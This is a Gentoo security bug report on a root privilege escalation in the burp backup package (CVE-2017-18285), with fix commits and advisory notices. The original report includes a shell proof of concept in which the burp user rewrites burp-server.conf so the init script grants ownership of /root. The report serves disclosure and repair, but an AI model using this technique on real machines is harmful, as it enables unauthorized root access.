| Summary: | <app-backup/burp-2.1.32-r1: root privilege escalation via writable config directory | ||
|---|---|---|---|
| Product: | Gentoo Security | Reporter: | Michael Orlitzky <mjo> |
| Component: | Vulnerabilities | Assignee: | Gentoo Security <security> |
| Status: | RESOLVED FIXED | ||
| Severity: | major | CC: | marecki |
| Priority: | High | Flags: | stable-bot:
sanity-check+
|
| Version: | unspecified | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | B1 [glsa+ cve] | ||
| Package list: |
=app-backup/burp-2.1.32-r1
|
Runtime testing required: | No |
| Bug Depends on: | 655950, 681738 | ||
| Bug Blocks: | |||
And once again, I received no e-mail notification. Strange. Anyway, looks like this one has been inherited from the previous maintainer... I have just tightened down permissions on /etc/burp for both the 2.0 (2.0.54-r4) and the 2.1 (2.1.24-r1) branch. @ Maintainer(s): Can we please get an status update? The bug has been referenced in the following commit(s): https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=5cd39164b55ee94a0754a89c0069f228e58183ee commit 5cd39164b55ee94a0754a89c0069f228e58183ee Author: Marek Szuba <marecki@gentoo.org> AuthorDate: 2018-05-29 09:25:37 +0000 Commit: Marek Szuba <marecki@gentoo.org> CommitDate: 2018-05-29 09:26:30 +0000 app-backup/burp: remove old following full stabilisation of 2.1.32 There are now no versions left in the tree that are vulnerable to either #628770 or #641842 Bug: https://bugs.gentoo.org/show_bug.cgi?id=628770 Bug: https://bugs.gentoo.org/show_bug.cgi?id=641842 Package-Manager: Portage-2.3.40, Repoman-2.3.9 app-backup/burp/Manifest | 1 - app-backup/burp/burp-2.0.54-r4.ebuild | 111 --------------------- app-backup/burp/burp-2.0.54.ebuild | 110 -------------------- .../burp-2.0.54-chuser_after_getting_lock.patch | 38 ------- .../files/burp-2.0.54-ncurses_pkg-config.patch | 37 ------- .../burp/files/burp-2.0.54-no_mkdir_run.patch | 10 -- .../files/burp-2.0.54-protocol1_by_default.patch | 24 ----- app-backup/burp/files/burp.tmpfiles | 1 - app-backup/burp/files/burp2.initd | 45 --------- 9 files changed, 377 deletions(-) CVE-2017-18285 assigned to this issue. This issue was resolved and addressed in GLSA 201806-03 at https://security.gentoo.org/glsa/201806-03 by GLSA coordinator Aaron Bauman (b-man). This isn't quite fixed =(
Marek fixed the initial permissions on /etc/burp in the ebuild:
fowners -R root:${PN} /etc/burp
fperms 0750 /etc/burp
fperms 0640 /etc/burp/burp-server.conf
fperms 0750 /etc/burp/clientconfdir
Those look OK to me, but the init script messes them up the first time that the daemon is started:
start_pre() {
checkpath -o root:burp -m 0775 -d /etc/burp
checkpath -o root:burp -m 0640 -f /etc/burp/burp-server.conf
checkpath -o root:burp -m 0750 -d /etc/burp/clientconfdir
checkpath -o root:burp -m 0770 -d "$(get_backup_dir)"
}
So after you start the daemon once, the same proof-of-concept in comment #1 works again.
See comment #6, this is not fixed. Re-opening... @ Maintainer(s): Please have a look again, thanks! Please see comments. This needs to be addressed. The bug has been referenced in the following commit(s): https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=2faf0fcb38eaf787d0f9d18217274e16bce120b5 commit 2faf0fcb38eaf787d0f9d18217274e16bce120b5 Author: Marek Szuba <marecki@gentoo.org> AuthorDate: 2019-03-25 14:16:10 +0000 Commit: Marek Szuba <marecki@gentoo.org> CommitDate: 2019-03-25 14:16:10 +0000 app-backup/burp: add version 2.1.32-r1 Identical to 2.1.32 apart from the copyright note, to be fast-stabilised on amd64 and x86 to propagate init-script change addressing Bug #641842. Bug: https://bugs.gentoo.org/641842 Signed-off-by: Marek Szuba <marecki@gentoo.org> Package-Manager: Portage-2.3.62, Repoman-2.3.11 app-backup/burp/burp-2.1.32-r1.ebuild | 109 ++++++++++++++++++++++++++++++++++ 1 file changed, 109 insertions(+) Wouldn't it be great if I actually started getting e-mail notifications about this, at last... Hopefully fixed for good this time. @arches, please stable. amd64 stable x86 stable @maintainer, please drop the vulnerable. x86 stable The bug has been referenced in the following commit(s): https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=85c9437e4cb6c6c711bdb502379611adb2e162f8 commit 85c9437e4cb6c6c711bdb502379611adb2e162f8 Author: Marek Szuba <marecki@gentoo.org> AuthorDate: 2019-03-28 09:39:39 +0000 Commit: Marek Szuba <marecki@gentoo.org> CommitDate: 2019-03-28 09:39:39 +0000 app-backup/burp: drop vulnerable Bug: https://bugs.gentoo.org/641842 Signed-off-by: Marek Szuba <marecki@gentoo.org> Package-Manager: Portage-2.3.62, Repoman-2.3.11 app-backup/burp/burp-2.1.32.ebuild | 109 ------------------------------------- 1 file changed, 109 deletions(-) This issue was resolved and addressed in GLSA 201904-05 at https://security.gentoo.org/glsa/201904-05 by GLSA coordinator Aaron Bauman (b-man). |
The configuration directory for burp gets installed writable by the "burp" group : $ ls -l /etc | grep burp drwxrwxr-x 6 root burp 4.0K 2017-12-20 14:52 burp The server configuration file is supposed to be writable only by root, but since /etc/burp is writable by the "burp" group, the server configuration file essentially is too. That can be exploited by the "burp" user to edit the server configuration file, and trick the init script into giving him any file on the machine. The init script does, get_backup_dir() { grep '^directory = ' /etc/burp/burp-server.conf | sed -e 's/^directory = //' } start_pre() { ... checkpath -o root:burp -m 0770 -d "$(get_backup_dir)" } So if the "burp" user makes a clever edit to burp-server.conf, the call to checkpath will give him read/write access to whatever he wants. Proof of concept: # Pretend we're the burp user... $ sudo su burp -s /bin/sh $ cd /etc/burp # Set the backup directory to /root $ sed 's:/var/spool/burp:/root:' burp-server.conf > burp-server.mine $ rm -f burp-server.conf $ mv burp-server.mine burp-server.conf $ exit Now as root, start the service... $ sudo /etc/init.d/burp start * /etc/burp/burp-server.conf: correcting mode * /etc/burp/burp-server.conf: correcting owner * /root: correcting mode * /root: correcting owner * Starting burp ... and /root is writable by "burp".